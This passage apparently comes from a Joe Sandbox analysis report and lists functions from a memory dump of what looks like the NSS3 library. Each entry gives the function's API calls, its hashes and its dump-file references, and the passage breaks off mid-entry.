API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: 7c503e9b3a95182be34421221ab15ab3cacfc91c58b9ccf61126b8800e1a2671
Instruction ID: 278a1dd56218cc9b58da6d085563cd8e284f067572e09be19c6af56ddaa7fee6
Opcode Fuzzy Hash: 7c503e9b3a95182be34421221ab15ab3cacfc91c58b9ccf61126b8800e1a2671
Instruction Fuzzy Hash: BE61AF71A007049FEB10CF69DC84B9AB7F1BF99308F554529E8499BB51E730F945CB48

Function 6C5609A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5606A0: TlsGetValue.KERNEL32 ref: 6C5606C2
Part of subcall function 6C5606A0: EnterCriticalSection.KERNEL32(?), ref: 6C5606D6
Part of subcall function 6C5606A0: PR_Unlock.NSS3 ref: 6C5606EB

memcmp.VCRUNTIME140(00000000,6C549B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C549B8A,00000000,k-Tl), ref: 6C5609D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C549B8A,00000000,k-Tl), ref: 6C5609F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C549B8A,00000000,k-Tl), ref: 6C560A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C549B8A,00000000,k-Tl), ref: 6C560A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C549B8A,00000000,k-Tl), ref: 6C560A48

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: c609546237d2313365038c34fde106a1a590545d9d1187f7ecee885a8bddc055
Instruction ID: aa0da4864d74735a1f825d788b7cb0f0ade21e6f532acc461bdd764064bdb616
Opcode Fuzzy Hash: c609546237d2313365038c34fde106a1a590545d9d1187f7ecee885a8bddc055
Instruction Fuzzy Hash: EB02F0B1E002049FEB008F66DC41BAF77B9EF88358F14452AE905A7B62E731ED55CB91

Function 6C5D6BE0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5D6C2C

Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C5D6BF7), ref: 6C5D6EB6
Part of subcall function 6C5D6E90: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C67FC0A,6C5D6BF7), ref: 6C5D6ECD
Part of subcall function 6C5D6E90: ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D6EE0
Part of subcall function 6C5D6E90: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C5D6EFC
Part of subcall function 6C5D6E90: PR_NewLock.NSS3 ref: 6C5D6F04
Part of subcall function 6C5D6E90: fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D6F18
Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C5D6BF7), ref: 6C5D6F30
Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C5D6BF7), ref: 6C5D6F54

TlsGetValue.KERNEL32 ref: 6C5D6D93
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C5D6BF7), ref: 6C5D6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C5D6BF7), ref: 6C5D6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C5D6FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C5D6FDB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Secure$Value$Lockfclosefopenftellfwrite
String ID: NSS_SSL_CBC_RANDOM_IV$NSS_SSL_REQUIRE_SAFE_NEGOTIATION
API String ID: 3032383292-3007362596
Opcode ID: 0705c08f6fd05d2cbf5ceaa061cc55f84738305d29a6c739afc17d5fc72856cd
Instruction ID: 60beb46440c9364e6d18b2751aea412b6584e38a25b4c6ef29d0429349a7f70a
Opcode Fuzzy Hash: 0705c08f6fd05d2cbf5ceaa061cc55f84738305d29a6c739afc17d5fc72856cd
Instruction Fuzzy Hash: A1712D72648745CBDB28EA6EE9E152A3BF1E75B305F420D5AC8078AA90DE307443C71E

Function 6C5EC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C5ECEA5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 99d7870f7a166f22a916ce460171f28f0861853236d20a46a0bef116055dec94
Instruction ID: 6424050776f788120ed3a0fb88e5ed35cfd317b497b5777f6c69ed3e964e3f57
Opcode Fuzzy Hash: 99d7870f7a166f22a916ce460171f28f0861853236d20a46a0bef116055dec94
Instruction Fuzzy Hash: B4716371A097418FC704DF29C88062ABBE5FF89314F258A2DE469CB7A1E730E955CB51

Function 6C554420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C554444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C554466

Part of subcall function 6C5A1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A1228
Part of subcall function 6C5A1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5A1238
Part of subcall function 6C5A1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A124B
Part of subcall function 6C5A1200: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A125D
Part of subcall function 6C5A1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5A126F
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5A1280
Part of subcall function 6C5A1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5A128E
Part of subcall function 6C5A1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5A129A
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5A12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C55447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C55448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C554494

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: ff5d6b05679a36d0563f04ea55c4820be0ade480410a6e9376f08d613435528a
Instruction ID: 0ac601e32ac1c1f702c68d29dfd302f254c04bcf73df2b2b64b0ff2f732e2b90
Opcode Fuzzy Hash: ff5d6b05679a36d0563f04ea55c4820be0ade480410a6e9376f08d613435528a
Instruction Fuzzy Hash: FC11A5B2D00744DBD7208F659C805A7F7F8FF99219B044B2EE88E52A00F371B9A88790

Function 6C65CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65D086
PR_Malloc.NSS3(00000001), ref: 6C65D0B9
PR_Free.NSS3(?), ref: 6C65D138

Strings

>, xrefs: 6C65CF5B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 12fbe0c795734c48e730b0b3e964944c5adc54b20cc054e5e82caba1b802ff53
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 92D18E22B455460FFB24487D8DA13EA77938787378FF80325D1629BBE5E619C863C309

Function 6C5FAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcac08b504206052146a966b7d31ff0e9580f2685a5bd660950b3f9a760dbe39
Instruction ID: 90c09c737e2e4e2d8e12fda30582a5c41b40b4501ab8585199f2378a421b368a
Opcode Fuzzy Hash: fcac08b504206052146a966b7d31ff0e9580f2685a5bd660950b3f9a760dbe39
Instruction Fuzzy Hash: 1DF1FF71E05212CBDB08CF6AD9847AD77B0BB8A308F154229D911DB744EB74A992CFC9

Function 6C5B0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C5B1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C5B1086

Strings

h([l, xrefs: 6C5B0E55, 6C5B0EC4, 6C5B0F3A, 6C5B0FA7
h([l, xrefs: 6C5B1062, 6C5B105D, 6C5B0F37, 6C5B1081, 6C5B1082

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpymemset
String ID: h([l$h([l
API String ID: 1297977491-2483278849
Opcode ID: 8e1acedaa3918421d54614483936d97b63e9ea314733af31dde04004705d4737
Instruction ID: 1ab390e425ef84fc8cb647d56e08a6e7101b3ecf4e3911224a55d171ad1cd5af
Opcode Fuzzy Hash: 8e1acedaa3918421d54614483936d97b63e9ea314733af31dde04004705d4737
Instruction Fuzzy Hash: 34A13E71B0124A9FDF08CF99D9A0AEEBBB6BF89314B148129E915B7700D735EC11CB94

Function 6C5D25B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6C5B5A85), ref: 6C5D2675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6C5D2659

Part of subcall function 6C583850: TlsGetValue.KERNEL32 ref: 6C58389F
Part of subcall function 6C583850: EnterCriticalSection.KERNEL32(?), ref: 6C5838B3
Part of subcall function 6C583850: PR_Unlock.NSS3(?), ref: 6C5838F1
Part of subcall function 6C583850: TlsGetValue.KERNEL32 ref: 6C58390F
Part of subcall function 6C583850: EnterCriticalSection.KERNEL32(?), ref: 6C583923
Part of subcall function 6C583850: PR_Unlock.NSS3(?), ref: 6C583972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5D2697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6C5B5A85,?,6C5B5A85), ref: 6C5D2717

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 6f02a8adf00d3b4ab9e9151da94ed9454bba3fcd03bc3c77ecdc2c21622900f4
Instruction ID: 63fc8b35617944b02c659f97742fb3403d50bc86b004ecf763824504969498fa
Opcode Fuzzy Hash: 6f02a8adf00d3b4ab9e9151da94ed9454bba3fcd03bc3c77ecdc2c21622900f4
Instruction Fuzzy Hash: 9441D771A08380AAFB258E1DCC85FDB73A8EFC0714F214519F9540A681EF71AD85CADB

Function 6C610B40 Relevance: 4.6, APIs: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.NSS3(?,?,?,?), ref: 6C610B7C
sqlite3_bind_double.NSS3 ref: 6C610BF1
sqlite3_bind_zeroblob.NSS3(?,?,00000000), ref: 6C610C27

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_bind_zeroblob
String ID:
API String ID: 4141409403-0
Opcode ID: 1808575132260557d1d5a88946858527081676a690d567812e4c51d37052dc7f
Instruction ID: 9aca417ecd504f35e2c7ccd5886194175c9572dddd6dbd2c594090fef081313e
Opcode Fuzzy Hash: 1808575132260557d1d5a88946858527081676a690d567812e4c51d37052dc7f
Instruction Fuzzy Hash: 5B218A7594C550AFDB015F1C8C00DAAB7B9EF87339F098285F8540BBA1DB329921C7DA

Function 6C536410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6C536401,?,?,0000001C), ref: 6C536422
WSAGetLastError.WSOCK32(?,?,?,?,6C536401,?,?,0000001C), ref: 6C536432

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 957d3f4d04f5484a09c1484841c2b88b22d2b1c6ad1fa4ee70c4e13777f8c3a7
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 32E01D355502146FCF019FB4DC4485A3795AF192287E0C914F51DC7671FA35E4758748

Function 6C53EBF0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C53EC05

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bffbdee4d96c09f1007f676158040ff43ab640e20f797a4cba3ea6621d9fe0b5
Instruction ID: c8247005b9b09dd3929d4c194de154237a8872f3ac50a83aadfebf470a917445
Opcode Fuzzy Hash: bffbdee4d96c09f1007f676158040ff43ab640e20f797a4cba3ea6621d9fe0b5
Instruction Fuzzy Hash: 60E0C231B0021C9B8B04AFAAD8904CEBBB8EF0E210F804415D9067B300DA20B9488BEA

Function 6C538EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5183b471709e70bfc3289f6fdebeb3fe106b1e571972a0deb9e1c9909b533c5
Instruction ID: 50b565b5e4452f64d0d2a1dcd07cfb33ddf9b383f9d9f5b88e8c2a74a9ef7c66
Opcode Fuzzy Hash: d5183b471709e70bfc3289f6fdebeb3fe106b1e571972a0deb9e1c9909b533c5
Instruction Fuzzy Hash: 2011B272A002258BD708CF25DC84B5AB3A5BF81318F04566BD809CFA91E775E896C7D6

Function 6C610C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35242e4f029ce1f5df25b9697e51b7366d87242efd38dbdc9d358ab0f52886db
Instruction ID: 9096114b00ced320b6b6e660a24099460c3a7b973b55713f50658f36cbbf3977
Opcode Fuzzy Hash: 35242e4f029ce1f5df25b9697e51b7366d87242efd38dbdc9d358ab0f52886db
Instruction Fuzzy Hash: 1711E3787083459FCB00DF19C8C0AAA77B1FF85368F14816DD8198BB11DB71E816CBA5

Function 6C5844C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3746aa802e3784ab3ce66feecdacf31acd076e3de92a65b7379068f0a59bc67
Instruction ID: c0055b69ab2ad79dfaac9ec76af1534bd231d787ec066b758f9b18324e2888bd
Opcode Fuzzy Hash: d3746aa802e3784ab3ce66feecdacf31acd076e3de92a65b7379068f0a59bc67
Instruction Fuzzy Hash: 0111F776A012199F8B00CF99D8809EFBBF9EF8C664B554419ED19A7301D230ED108BE0

Function 6C584440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11926b542e32b32179a2b5c4226f86126b73545cb4600814697e374b41bd0e03
Instruction ID: 874a2aafb7f093d6f641584fa72c536661a20e61fa4e99021e4701e5b0f2b77f
Opcode Fuzzy Hash: 11926b542e32b32179a2b5c4226f86126b73545cb4600814697e374b41bd0e03
Instruction Fuzzy Hash: EE11C975A002199F9B00DF59C8819EFB7F9EF8C614B16416AED19E7301D630ED118BE1

Function 6C610D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

